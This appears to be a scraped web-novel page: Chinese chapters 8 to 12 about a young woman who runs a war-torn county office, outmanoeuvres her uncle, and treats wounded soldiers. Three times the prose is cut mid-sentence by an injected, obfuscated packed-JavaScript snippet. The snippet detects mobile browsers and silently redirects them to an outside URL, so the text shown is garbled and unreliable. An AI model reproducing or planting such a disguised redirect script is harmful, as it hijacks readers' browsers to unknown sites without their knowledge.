南江县毕竟不算小,以前衙门百十来号人呢。 现在仅有六十九,就不招了吗! 别说武捕头的。 各房主事,文书,皆大吐苦水。 他们真的需要人手! 真的不够用啊! 就连顾教谕都插嘴,现在局势平稳,县学能不能重新招夫子。 招什么招! 没钱! 苏清一口回绝:“没钱。” “那些粮食不仅要撑到秋收,还要应对不时之需。” “不行,绝对不行。” “苏主事,就给我们招两个会写字的吧。” “一个也行。” “一个也没有。” 衙门吵吵嚷嚷,刘小妹坐小板凳上瞧热闹。 说是吵闹,其实都是闲的拌嘴。 好不容易度过劫难,眼看着还有药材这项有前途的营生。 难免闲心上来,拌拌嘴逗逗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279188|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐。 苏清忍不住说了一句话,我就是抠门主事。 众人哈哈大笑。 笑谈间,门口差役带进来三个熟悉的身影。 尤其是打头那个,衙门众人谁不认识。 南江县典吏。 苏县令的亲弟弟,苏典吏。 占城初期,他们一家三口携金银细软逃跑。 如今竟回来了。 苏典吏快步上前,指着苏清道:“你!你还知不知礼法!” “牝鸡司晨!成何体统!” 苏清笑,坐在高位上并不动弹:“我当是谁,原来是逃兵。” 苏典吏恼羞成怒。 他可是苏清三叔!竟然敢这么目无长辈。 他环视一圈,想找最知礼的顾教谕帮腔,顾教谕却错开眼,根本不看他。 这是怎么了。 个个都听黄毛丫头的?! 他还不信了! “田县丞!你也听我这个侄女的?她书都没几句,还让她做主事?” “顾教谕,你平日读的圣贤书都到哪去了?” “武捕头,你最讲男子气概,如今呢。” 苏典吏激动万分,他在沿江其中一地,正好碰到回江南的叶家大少爷。 这才得知自己侄女竟当了南江县主事,还有百万粮食。 如此要职,岂能让一个女子担任! 幸好叶家商船再次路过,自己死皮赖脸跟着回了此地。 场上众人不再发笑,明显略有沉思。 要说之前事情紧急,大家没有过多想法。 现在衙门已然变得安稳,有些事好像确实不对。 苏清嘴角冷然,扫一眼就知道这些人的想法。 事情紧急的时候,有些事可以不按“礼”。 现在不紧急了,便又要重回尊尊卑卑。 果然,人吃饱饭之前,只有吃饭一个问题。 衙门气氛冷下来。 等众人散了,顾从斯还有话说,却被顾教谕赶紧拉走。 之前兵荒马乱的。 让苏清坐上这个位置。 现在一切都好了,她其实应该退位让贤的。 毕竟她既无功名,也无恩典,更是个女子。 不合适的。 县里贤达耆老本就想说这事。 下面四个乡长,还有乡绅等人也这个意思。 苏典吏的回来,直接激化问题。 毕竟他是苏县令亲弟弟,还是本县典吏。 若田县丞不想接替苏县令,就该他来的。 苏清听到云喜报过来的消息,冷笑道:“好啊,摘果子来了。” 把她弄下去。 很多人的日子,都会好过很多。 想来这里面就有王乡绅出力,还有早就不服她的乡里大户。 让她“退位让贤”。 还想让她“功成身退”。 绝不可能。 9. 第 9 章 第9章 苏清往内宅方向走。 刘小妹跟她时间虽久,但年纪小,还是个迷迷瞪瞪的性子。 倒是云喜十分忧虑,开口道:“大姐儿,你三叔一家已经在收拾住处了,他肯定会笼络左右,到时候你怎么办。” 走到内宅客厅,只听苏三婶缠着做鞋的梅娘。 “你家大姐儿年纪不小了,这般抛头露面的,终归不好,以后哪个男子敢娶。” “省得让人看轻了。” “再说,以后朝廷知罪怎么办?” 苏清止住脚步,梅娘道:“这些不用同我说,要我讲,我女儿皇后都做得,何况衙门主事。” 说罢梅娘正色道:“以后不要在我面前嚼我女儿的舌根,就不留饭了,请便吧。” 梅娘一向好脾气,少有这般表情严肃的时候。 十四岁从小没有爹娘的云喜极为艳羡,他道:“倘若有爹娘帮我讲话,这心里不知多舒坦。” 苏清走进去,跟苏三婶撞了个对脸。 “清儿去吃饭吧,娘今天炖了鸡汤。”梅娘喊上云喜一起,只留苏三婶脸上一阵白一阵青。 回到住处。 苏三叔上来给苏三婶一巴掌:“这点事都做不好,要你有什么用。” 本就骨瘦如柴的苏三婶捂着脸:“梅娘虽软弱,却极护孩子,你又不是不知道。” 不说倒罢,说完又是一顿拳打脚踢。 他们家儿子在旁边蜷缩起来,根本不敢吭声。 这苏三叔脾气本就不好。 以前在衙门跟着二哥苏县令做事,还有个规矩。 逃出去之后,性格愈发乖张。 等他们金银细软被抢的抢,偷的偷,苏三叔便狠打三婶,以此撒气。 挨了顿打,苏三婶又去做饭,嘴里暗骂苏清不讲规矩,竟然自己当主事。 还骂梅娘也是个不知礼的,都成寡妇了,还不关门闭户,竟然支持女儿当家做主。 没一会,苏三婶儿子偷溜进来帮忙烧火,母子两个双双垂泪。 接下来几天里,衙门气氛变得有些怪异。 苏典吏重新穿上官服,大有当家作主的意思。 恰逢田县丞去南乡跟东乡巡查,整个衙门就数苏典吏官最大。 不过即便田县丞回来,多半也不会说什么。 他家人全无,已经把全部精力放在办差上,其他一概不管。 “衙门既然有粮有钱,为何不补发签下的四个月俸禄?大家都是办差的,没有饭吃,谁有力气做事。” “你们也算个男人,听一个十五六岁小姑娘的话?” “没有她,南江县就不过了?” 从六月初七。 到如今八月初四,差不多两个月时间。 里面发生的事情太多。 多数人没精力去想这件事。 现在被苏典吏提起,不少人浑身不自在。 尤其一心想着补发俸禄的差役文书,难免有其他想法。 再听苏典吏一口一个哪哪缺主事,你可以补上,再者等药材收获了,大家都发奖金。 两者对比,自然有人倾向苏典吏。 毕竟典吏虽不入流,却是正经朝廷官员。 苏清的位置反而岌岌可危。 虽说她做的不错,比一般男子都强些。 但等朝廷发现此事,她必然要下台的。 怎么看,都是苏典吏这边前途更好。 “广乐府也就是没有知府,还不知道苏清这个女子做了主事。” “等知晓此事,肯定会把她赶下去的。” “或者有好事之人,一纸诉状递到府衙,苏清还能留下?怕不是一家三口都要搬出衙门。” 苏清静静听着这话,本打算出来,只见顾从斯气势冲冲过来,开口道:“凌风知劲节,负雪见贞心。” “之前南江县何等艰难,要不是苏主事借来粮食,又跟江南粮商达成协议,衙门上下谁能吃饱饭?!” “不是苏主事,本地粮价会如此平稳?外面肆虐的瘟疫会放过南江县?” 药材刚种上,便打量分这份利益。 不看看是谁的主意,谁去做的。 顾从斯话未说完,苏三叔直接道:“你肯定帮着苏清说话啊,我二哥那会还想你俩结亲呢,从你嘴里,自然只有夸的。” 此言一出,仿佛顾从斯方才对苏清的夸赞并不公正,皆是私情。 顾从斯被说得哑口无言。 想要解释婚事并未成,却又知多说多错,反而连累苏清。 只是这话传开,便止不住了。 苏清想了想扭头离开,此时再出现反而不好,只是给武捕头递了封文书,让他催催之前未完的差事。 武捕头走之前还宽慰苏清几句。 但他也觉得说的话太单薄,毕竟谁都知道。 苏典吏只要把事情捅到府衙,苏清大概率要搬出衙门,即使让她帮忙,也绝对不会让她做主事。 女子做衙门主事。 别说见过,很多人听都没听说。 苏清对此倒是不意外。 她之前趁乱夺权,接了个烫手山芋。 现在烫手山芋被精心烹饪,自然有人要来吃一口。 吃就算了,还要连锅端。 武捕头一走,衙门里的谣言更止不住。 有的担心苏清离开,衙门做不成事。 有的巴结苏典吏,想在未来分杯羹。 顾家,顾教谕跟顾娘子围着顾从斯。 “这是何必?都说了不要跟苏清扯上关系,她爹没了,她一个女子也掌不了衙门太长时间,迟早要退的。” “明年是大比之年,以你的文采,大概率能中举,若有这般传言,与你不利。”顾教谕又道,“可惜苏清不是个男子,她若是男子大家也没别的话说。” 顾娘子推着顾教谕,不让他再指责儿子,反而道:“都是苏清那小丫头的错,她要是安分守己,也不会牵扯到儿子。” “以前她就对儿子倾心,如今连日相处,肯定更喜欢。” “咱们可要躲远点,别给她机会,误将此事促成了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279189|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾从斯向来极孝顺,对爹娘之话恭敬有礼,此刻却皱眉道:“旁人乱说,爹娘也该明白,苏家不是这种人。” 再者,倘若真成了,也没什么不好。 这个想法一闪而过,顾从斯直接站起来,耳朵红透了,咬牙道:“我去温书。” 苏三叔回衙门三四日。 县城上下都知道,苏清身为女子,迟早要辞了主事的差事。 多数人虽不舍,却也知道朝廷规矩如此,多半默认了。 “她要是个男子就好了。” “可惜,女子做衙门主事于理不合。” “苏清还不到十六,以后必要婚配,哪个敢要她?” “不是说她跟顾秀才有意结亲?” “瞎传的,顾家看不上。” 苏三叔从王乡绅家吃酒出来,骑着顺来的驴,得意洋洋从街上走过。 赶走苏清,只是时间问题。 到时候,他就是这南江县的主事! 把持衙门,包揽诉讼,再也不过苦哈哈的日子。 想到库房里的钱粮,苏三叔已经在算计怎么花了。 “让开!让开!” “江对岸来了一队兵马!” “快!让开!” 几个报信的守备军打马而过,苏三叔躲闪不及,直接摔了个大马趴。 更让他惊惧交加的是,对岸来了兵马! 叛军?! 难道是叛军来了?! 苏三叔又有逃走的心思,却想到衙门库房的钱粮。 走之前也要带点银子啊! 他跌跌撞撞牵驴跑回衙门,正好撞见士兵抬着断了手臂的伤兵过来。 血肉模糊的残肢,把苏三叔吓得跌倒在地。 士兵嫌他碍事,却见他的官服,开口道:“你是衙门主事?” 苏三叔被战事吓破胆,赶紧摆手:“我不是,我不是主事,有事去找苏清!” 苏清是谁? 只见一个十五六岁少女,身穿利落衣服,身上戴着孝,开口道:“我是衙门主事,可是北江县守备军?” “没错,北江战事紧急,这就拜托你了。”士兵虽有迟疑,却还是按照上司吩咐办事。 他们来得快,走得也快。 多半是北江的军情格外紧急。 这群人离开,留下一百多伤势极重的士兵,其惨状不忍直视,刀枪毒药各色伤口皆有。 有人甚至少了半个身子,也被拉过来。 苏清面不改色,吩咐差役众人抬着伤兵去隔壁白家医馆。 等他们离开,衙门门口留下一大摊血迹,可见伤势严重。 路过苏三叔时,众人表情不一,却都听到他那句:“我不是主事!有事找苏清!” 遇事便躲,有好事才上。 这般行径,谁敢跟着他做事。 南江县的苏主事,只有苏清一人! 唯有遇到事了,才知谁是主心骨啊。 对了,江对岸怎么又打起来了。 还把伤兵送到他们南江县了? 10. 第 10 章 第10章 武捕头若有所思。 难道跟他送到北江县的信有关。 事实确实如此。 苏清哪能看着苏三叔夺权,正如顾从斯所讲,这是她辛辛苦苦撑起的南江县,岂能拱手让人。 而她也没做什么。 不过是送了封信,到对岸守备军手中,询问本县投军士兵的情况。 再把本地种植伤药的事说一声。 北江县守备军听此,忙不迭的送来伤员,虽突然却不意外。 前线战事持续一两个月,后勤必然紧张。 但凡周围各县表露出帮忙的意思,他们不会客气。 苏清一边安顿伤员,一边拆开北江县守备军送来的文书。 文书详细记录了南江县二百多投军士兵的情况,又说明被叛军抓壮丁二千多人的情况。 最后是守备军将军亲笔书信。 大意为,请南江县苏清苏主事帮忙照顾伤员。 他会向总兵禀告此事,再派掌管后勤军务的内臣查看伤药种植情况。 说白了。 想跟军中做买卖。 只凭一张嘴定然不行。 要么托关系,跟总督监军搭上线。 要么出人力,给前线做帮手。 思来想去,帮忙照顾伤员,是最好的选择。 苏清本打算等伤药种的差不多了,再跟军中联系。 现在提前半个月一个月的,也不是什么事。 苏清收起信件,将本县士兵情况,递给一直牵挂两个儿子的武捕头。 武捕头狂喜不提,其他各家更不用讲。 自战事起,家家都提心吊胆。 等战事平了,这些被抓去当叛军,又或者主动投军的民户,更是牵肠挂肚。 尤其那些被抓去当叛军的,谁人不害怕。 幸好衙门主事知道情况,专门做了统计。 有了那份名单,若是被朝廷军俘虏了,又或者自己跑回来的,都不会追究责任。 主动投军的更不用讲,不仅履历上添了一笔,而且还能跟家里有联络。 过来送消息的士兵还道:“我们都知道你们南江县,你们给阵亡士兵买棺材修坟墓,我们这些当兵的,能活着回家最好,不能回去的,也希望自己有个埋骨地。” 这也是北江县守备将军,愿意把伤兵送过来的原因。 弄明白这些事。 众人看向苏清的眼神变得格外不同。 前段时间大家忙忙碌碌,看似做了不少没必要的事。 实际上,全在苏主事掌握之中。 她不仅收拾好之前的烂摊子。 还给南江县规划了更好的未来,甚至跟军中都打好关系。 这份能力,谁比得上? 至于那苏三叔,典吏衙冷冷清清,再无人靠近。 不遇事就罢了。 遇到事,便明白谁最靠谱。 战事还未平呢,就想着吃老本了。 这不是太平盛世的时候。 真不能只看眼下。 苏三叔冷静下来,再想勾结左右,已经没人再理他。 任他怎么画饼,多数人还是心里有数的。 南江县这种情况。 唯有苏清做主事,才能让大家过上相对安稳的日子。 旁的不说,江对岸的守备军都说苏清是主事。 你算什么啊! 不过是苏清主事的下属而已! 都不用人家出手,自己就完蛋了! 再说了,这里如此多的伤员。 要怎么处置。 所有人都看向苏主事,俨然把她当主心骨。 白家医馆的白大夫欲哭无泪。 他哪会治外伤,他没这个能力啊。 都说术业有专攻。 他不善治外伤,大家都知道的。 要说白家三代行医,医术最好的是他爹。 但他爹身体本来就不好,叛军入城时,吓得他病体更弱,没过多久就咽气了。 当时苏县令还在,慌乱之中,还帮忙找人打了副棺材给白家,让白老爹得以安葬。 此事白家夫妇一直记在心上,平日里来往颇多,苏清当时吃的药,他家分文不收。 交情再好,他不会还是不会啊。 苏清自然是知道的。 她刚穿越那会,就发现白大夫治外伤水平一般。 所以她早就默下外伤治疗方法。 外伤也分很多种。 首先是战地救护的一般原则以及方法,还有战地救护的四项技术。 这些都是前世战争年代的方法总结。 放到现在,显得极为合适。 再有就是伤科的分类。 骨折,脱位,软组织损伤,这些伤势相对较轻。 能送到后方治疗的,多半为金伤正骨科,为黑红伤,也就是外伤,刀伤等等。 甚至还有烧伤跟烫伤,这都是战场上常见病。 再有细菌病,皮肤病等等。 苏清把能记起来的都写到纸上,以后再加以补充。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279190|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在包扎过程和急救方法她最为熟悉。 以前跟着姥姥各乡跑,可不是白跑的。 这些早就融入她的血肉里,给士兵清创的时候,看得身边人目瞪口呆。 尤其是那堪称惨烈的伤口,腐肉都在里面,烂成一团散发恶臭。 苏清却能面不改色,让伤兵咬着麻沸散,自己拿着锋利的小刀一点点清掉腐肉,嘴里还能道:“清了烂疮才能长新肉,我还没动手呢,别喊。” 没动手吗?! 你手很稳啊! 苏清不让伤兵看她动作,嘴里还道:“真没动手,你还是不是当兵的。” 那士兵听此,果然不大喊了。 顾从斯捂住刘小妹的眼睛,不让小孩看。 谁料那小孩一点都不怕,挣扎着凑过去,满脸都是对苏清姐姐的崇拜。 “叛军的刀上应该有毒,一会用新石灰,大黄片炒成桃花色,再把大黄剔除,厚厚地敷在伤口上。”苏清继续道,“包扎的时候不要太紧,容易血液不通。” 苏清既包扎伤口,也教白家如何医治。 不仅白家夫妇懂医术,他家还有两女三男,最大的十二,最小八岁,再有三个十七八的药童,耳濡目染都会一些。 故而他们上手极快,就连八岁的小姑娘都会裁剪纱布,给器材消毒。 白大夫擦擦头上的汗,眼睛却发亮。 他怎会不知,自家又多了个保命的手段,当下对苏清千恩万谢,对士兵在此休养,也无半句怨言。 整个白家医馆,烧热水,治伤口,熬汤药,一日的时间,送来的一百多伤兵便安然入睡。 他们很久没有这样安心过了,必要好好睡一觉,赶紧把伤病养好。 消息传到北江县守备营中。 苦苦支撑的将士们终于得到一个好消息,不少士兵喜极而泣。 “好啊,就算死了,也有苏主事帮忙埋尸。” “若是侥幸能活,他们会帮忙安置。” 有这样的希冀,难免再生出几分力气,必要跟叛军决一死战。 守备将军再把消息送到前线总兵手中。 总兵细细看了南江县所做之事,确认无误后道:“军中正缺伤药,南江县种了多少,军中都能买下。” 此刻的苏清正倒头大睡。 照顾一百多伤员,可不是开玩笑的。 她做了个美梦,那没见过的总兵大手一挥,直接预定下她所有药材! 整个南江县的百姓有吃有喝! 他们再也不用靠借粮过日子了! 11. 第 11 章 第11章 永晟元年,八月十五。 南江县衙门上下,排队领今年的中秋节礼。 跟往年比,肯定不大好,但跟江对面比,却是不错的。 苏三叔还在嘟嘟囔囔,说苏清抠门。 只是已经无人在意。 “女生果然外向,她把粮食省下来,都给了伤兵!合适吗?!” “苏三叔少说几句吧,没有朝廷官兵,南江县还被叛军占着呢。” “你赶紧让开,这又没你的份。” 苏三叔一家眼巴巴地看着,发节礼的名单上却没有他的名字。 任凭他怎么闹,该没有还是没有。 眼看各家有孩子的,都能分两块月饼,他只能空着手回去。 苏清其实也在叹气。 眼看粮食一日日耗尽,她也愁啊。 “第三批伤员了。”苏清道,“慈幼堂勉强还够安置。” 白家医馆人满为患。 开放慈幼堂之后,这加起来一千多人的三批伤员才够安置。 顾从斯道:“右码头还有几处废弃宅子,可以收拾出来,而且距离江边很近,方便照料。” 苏清道:“这样一来,人手不够了,再招些妇人老幼,学一学如何护理伤患。” 两人商量片刻,苏清心里忍不住吐槽朝廷总兵。 自己安置好第一批伤员后,军中就派人来看南江县种下的药材。 之后也不客气,一批批伤兵送过来。 她已经是个能吃能拿的,那总兵更如此。 不过苏清明白,前线打仗,把伤员送过来,也是不得已为之。 “对了,在左右码头都预留出船舶位置,不然江那边运伤兵过来,不能立刻停靠。”苏清说着,又翻了翻最近往来的船只。 南江县是广乐府少见恢复秩序的地方,故而各地船只都会在他们左右码头停靠。 这部分税收,倒是能填补一些进项。 “武捕头,再派人加强巡逻,尽量不要有冲突,让来往商船习惯在本地停靠。” 武捕头立刻称是,他今日接到两个儿子的信件,正是高兴的时候。 武家两个儿子虽受了伤,却并不要紧,还屡立战功,算是喜事。 苏清听了,从白家医馆拿了几瓶伤药,让武捕头送过去。 等衙门众人领完节礼,苏清道:“今日中秋,除了当值的,其余人回去过节吧。” 大过节的,不让大家回家,实在不合适。 就连苏清都把各项文书收拢起来,准备回后宅休息半日。 苏清让刘小妹喊上云喜,自己却被顾从斯叫住。 说起来,就算没有那些乱七八糟的传言,两人也极少单独相处。 顾从斯不知从什么地方拿出几本书:“苏澄弟弟不是要启蒙吗,这是《三、百、千、千》,正好拿去读。” 苏清弟弟苏澄今年四岁,一般来说男单女双,翻过年他就要启蒙,之前也提过。 只是,三百千千是什么? 苏清直接问出来,顾从斯一顿,颇有些无奈:“你也读过的。” 只见这四本书是三字经,百家姓,千字文,千家诗选。 这是本朝小孩都知道的,苏清却没听说过啊,仔细回忆下,才有些模糊概念。 顾从斯想了想道:“你也可以读一读,对写衙门公函有用。” 从苏清当主事起,衙门公文基本出自顾从斯手中,他偶尔不得空的时候,便是手底下文书持笔。 苏清:? 苏清觉得自己能看明白,就已经很厉害了! 此时提起这事,苏清下意识摇头:“只背这些蒙书不够用吧,是不是还要学四书五经。” 顾从斯笑:“岂止,四书五经为基础,还有各类经史,文选文集,大儒经注。” 顾从斯本想随便说两句,却见苏清眉头紧皱,难得说了几本诘屈聱牙的书。 “停,停,我不学。”苏清上辈子已经学够了啊! “不是有你们吗,你们会写公函就可以了。” 顾从斯顿时停住,嘴角带笑:“嗯,我会就可以了。” 苏清接过几本书,谢了对方,往后宅走去:“明天见。” “明天见。” 云喜已经在二堂跟大堂的角门等着了,只听他欢呼:“大姐儿,梅娘做什么好吃的呀。” “猪油蛋饼,炸了酥肉,还有大骨汤。” 哇! 云喜高兴得不行。 此时白家医馆,慈幼堂,有着同样的饭食。 苏清一想到白花花的银子流水般出去,就头疼的不行。 好在伤员们都喜欢吃,让她心里好受点。 过了中秋,南江县各地秋收陆陆续续开始。 虽说今年事情极多,田地被毁了不少,但生活稍稍安定后,能种庄稼的土地都被种上庄稼。 麦子,小米,高粱,各种豆类,铺满南江县田地。 四乡二十村报上田产收成,还有田地里药材的生长情况,气氛格外轻松。 南江县百姓终于熬过秋收。 衙门这边的赈灾粮陆陆续续暂停。 苏清捂住心口去看账册,开始算总账。 从借王乡绅家第一笔粮算起,一共三次,共计一万八千一十五石。 各色粮食数量不一,记录得清清楚楚。 算清楚欠款,再结算消耗。 各项支出算下来,扣掉施粥赠粮赠药,再加上买药材种子,以及照顾伤员。 衙门所剩银钱六百七十两,粮食两千一百九十石。 幸好当时抢的粮食多啊。 不对,幸好问叶家,王家借到粮了。 现在把秋粮税收加上。 衙门还是不算富裕,反正还不清“欠款”,毕竟其中一部分要送到府衙,南江县能留的税粮并不多。 苏清算盘珠拨的噼里啪啦,最后道:“先把欠王乡绅的三千零一十五石还给他家。” “欠叶家的一万五千石,再等等。” 先把零头还了! 剩下的再说! 衙门把粮食还回去,是王乡绅没想到的。 但六月份的粮价跟如今八九月的粮价,能一样吗? 而且只还本金,没有利息,跟明抢没区别。 王乡绅忍不住多嘴:“叶家年底前要来收粮,肯定要催欠款的。” 谁都知道南江县衙门是缓口气,但那一万五千石粮食太多,他们肯定还不起。 此话便是故意恶心苏清。 在衙门的苏清听了,眼皮都不抬一下, 欠债的才是大爷,这道理都不懂。 账目算清楚,苏清只打算还五千石粮,剩下的一万石,则要等十二月药材收获。 出乎王乡绅意料,叶家那边竟极好说话,收了五千石粮后,还说剩下的粮不着急。 “怪哉,叶家什么时候这般好脾气。” 他之前跟这家做买卖的时候,对方不知多苛刻。 难道是女人出面,对方便心软了。 苏清可没觉 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“只是这事不能耽搁,十一月就要使银子。”顾教谕提到银钱,总是不好意思。 苏清干脆看向已经停笔的顾从斯,抬抬下巴,明显让他说清楚。 放在以前,顾从斯也是羞于在银钱之事开口的,此刻直接道:“每年二月,是各县县试之时。” “此事最迟在十一月着手准备,十一月写公文放到各乡,各乡学子统一报名,差不多持续到十二月截止,再晚交通不便,会耽误考生报名办后续。” 不管是发公文,还是用差役。 还有提前找阅卷夫子,都要使银子。 顾教谕过来,便是要考试经费的。 苏清听明白之后,却直接拒绝了:“明年的县试,大约是不办的。” 不办?! 别说顾教谕,便是顾从斯也一脸不赞同。 读书科举,才国家大事。 怎么能不办?! 苏清摆摆手,认真道:“顺昌国并不太平,其他地方就罢了,咱们广乐府至今没有知府,江对岸还在打仗,即便办了县试,那府试估计也办不起来。” 江对岸的北江县也属于广乐府。 他们还在打仗。 这地方都没有官员愿意来当知府,想来情况比他们想象的要糟糕的多。 苏清并不认为,明年的秀才考试能如期举行。 “怎么可能!”顾教谕着急,“当今圣上在潜邸时,便最重视科举人才,怎么会停办科举考试?!” “大姐儿,你是不是不想出钱?!” 顾从斯喊了一句爹,顾教谕直接拂袖离开,看样子气的够呛。 顾从斯看着他爹背影,又看向苏清,想要再劝。 “真的办不成。”苏清道,“户房主事去府城送税粮了,等他回来,看看他怎么说。” 顾从斯只好闭嘴,在他心里将信将疑,多半觉得苏清应该是不想花钱。 衙门的银钱确实紧张,但只要卖了药材,一切都会好起来,不至于停办县试。 算了,等户房主事回来再说吧。 此事揭过不提,户房主事回来之时,却是满脸惊悚,他身边的差役等人同样心有余悸。 “外面,外面大乱的。” “整个广乐府,唯有咱们南江县太平。” 12. 第 12 章 第12章 “战乱过后,各地粮食价格飞涨,接着又有疫病。” “最严重的地方,整个村子无一生还。” “就算人活着,也要靠卖儿卖女才有口饭吃,多数人家田地房屋全都典当出去,才熬过这几个月。” 对于这些事,南江县百姓多多少少知道一些。 但情况惨成这样,却是没想到的。 尤其是对亲历者而言,户房主事擦着头上的汗:“看着实在可怜,我们就把备下多余的税粮给了沿途孩子。” 户房主事向来不算大方,他都能做出这般举措,可见外面的情形。 苏清点点头:“府城呢,情况怎么样。” 户房主事叹气:“也不好,衙门乱糟糟的。” 他们去交今年的税粮时,府衙户司的人还有些诧异。 不过能有份收入,那边哪有不应的,对南江县众人态度也额外好。 “其他各县要么没有消息,要么主动请求延缓交粮,府衙正在四处催促。” “府衙至今没有知府,各处都不成样子。” “叛军来到广乐府,那知府,学政等人,一齐出去避难,之后双双被贬,至今还无人接手。” “听府衙的人说,朝中无人愿意过来,要么让隔壁知府兼任,要么就这么放着。” 衙门众人听了,无不惊愕。 苏清道:“不算意外,谁做广乐府知府,谁就要负责朝廷官兵的后勤粮草,毕竟这里还在打仗。” 不仅是后勤,还有兼并土地,地方豪强起势,以及疫病肆虐种种问题。 苏清处理一县之事,下得罪王乡绅,以及本地乡长大户等人。 上得罪江南皇商叶家,暗暗使绊子。 广乐府一府之事,只会更复杂。 顾教谕跟顾从斯在旁边听着,不免注意到学政两字。 顾教谕忍不住道:“府城没有学政,明年的童试,岂不是要耽搁。” 户房主事挠头。 这种细枝末节,他不知道啊。 衙门其他人倒是知道顾教谕最近的烦心事,此刻向着苏主事:“童试还有好几个月呢,到时候再说。” “不过府衙那样乱,多半是不会开的。” 众人七嘴八舌,愈发珍惜如今的生活。 等这些话传开,难免让人胆战心惊。 白家医馆跟慈幼堂的一千多伤兵叹口气,忍不住道:“早就说你们南江县很好,你们还将信将疑。” “若你们去了北江县,才知道什么是苦。” 其中半数伤兵,伤势好得差不多了,要重回战场。 既是前线需要人,也要给其他伤员腾位置。 他们走的时候恋恋不舍,却又十分坚决,走之前还专门感谢苏清苏主事。 接下来两个月里,南江县上下大部分精力,都在照顾伤员,以及种植药材上。 能治好的伤员重回战场,治不好的由衙门葬在西山。 白家医馆,慈幼堂,全部住满。 苏清又命人把左右码头附近空置的房屋腾出来。 地方是足够了,人手颇有些吃力,只有动员附近妇人老幼,才勉强维持。 苏清倒是有心多招些人手,培育些专业医护。 但苦于银钱不多,只能把念头压下去。 如今虽不用赈灾,伤员却越来越多。 这样下去,苏清都害怕卖药的钱,都不够照顾病患的。 按理说,帮忙照顾伤患,这也要给他们拨点银子吧? 那总兵倒好,一味地送人过来,银钱的事半点不提。 苏清抱着账本,实在是愁啊。 “十一月了,柴火还要备足。” 又是一笔银子! 偏偏这个时候,顾教谕再次登门。 他的态度十分坚决。 要钱。 要办县试。 童试分为县试,府试,院试。 前者在各县,后两个在府城。 但他不管后面的能不能成,县试必须办了。 “就算办了县试,后两个不办,岂不是白费功夫。”苏清说的唾沫都干了,又看看顾从斯。 可惜顾从斯在这事上,同意他爹的看法。 其他地方如何,他们管不了。 但本地县试必须办。 “这是鼓励本地学子,若不办县试,他们就不会努力读书了。”顾从斯觉得自己在从大局考虑。 苏清干脆道:“不科举就不读书了?” “那读的到底是圣贤书,还是仕途经济。” 苏清不通文墨,官府公文都是他人代写。 此刻说出来的话,却正中顾家夫子心口。 仕途经济,是文人最不齿的四个字。 读书到底是为了明理。 还是为了科举,为了当官? 苏清虽未读明白这里的书,后世的书却是读了一二十年,张张嘴便是暴击。 等顾家父子离开,田县丞倒是说了最实际的。 他是苏清父亲老友,说话更像自己人。 “他们两个走的都是正统科举路,自然更加在意科举之事。” “不仅是他们,县里一百多学子,都盼着县试。不让考,就像断了他们前程。” 苏清何尝不知。 这不是没钱吗。 不仅没钱,而且县试就算开了,人家府试暂停,就是白费功夫,还白费银子。 可惜再怎么说也没用,但胡乱花钱这种事,她绝不会答应。 顾教谕愈发坚持。 县里一百多准备参加县试的学子听闻此事,更是屡屡闹事。 若不是苏清如今在县里声望高,估计都敢闹到衙门里。 苏清一边忙着药材的事,一边精打细算照顾伤员,心里不耐烦至极。 苏三叔此时突然出现。 他竟主动揽下县试的差事,还道:“不用衙门拨钱,我们自己筹备。” “南江县学风淳厚,自然有人愿意出钱出力。” “这等胸襟,岂是女子与小人明白的。” 顾从斯皱眉,反驳道:“苏典吏,你说话注意些。” “怎么,你不想开县试了?” 苏清打断他们,静静盯着苏三叔,像是想到什么,直接道:“你说的,不用衙门银子,那随你去做。” 说罢,又看向顾从斯:“希望你爹不会后悔。” 后悔? 苏三叔心里一惊,苏清这死丫头,难道知道什么?! 可惜苏清懒得再管,将此时全权交给苏典吏跟顾教谕。 还是那句话。 只要不用衙门库银,随便你们怎么搞。 等顾 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“难道来要债的。”苏清道,“衙门还欠他一万石粮食。” “说过等卖了药材再还,他来的有些早。”顾从斯道。 苏清笑道:“只怕来的刚刚好。” “走,去见见我们债主。” 话是这么说,苏清还是忙完手头的事,再赶回衙门。 衙门厅房内,叶山鸣跟叶管家正在里面,两人一人一个手炉,看样子冻的不行。 苏清道:“南江县比江南吴田府要冷,不大习惯吧。” 叶山鸣好奇看向苏清,三个月不见,她说话更动听了。 再看她容貌褪了些稚嫩,眼神愈发有神,坐直身子:“是有些不习惯,衙门也该多烧些炭火。” “这不是没钱嘛。”苏清并不避讳,“只等着药材卖了,方有银钱可使。” 顾从斯并不喜欢这般直白谈钱,叶山鸣跟叶管家却不觉有什么。 叶管家道:“本就没钱,还花销不小,只在小地方省钱。” 叶管家的怨气可以想象。 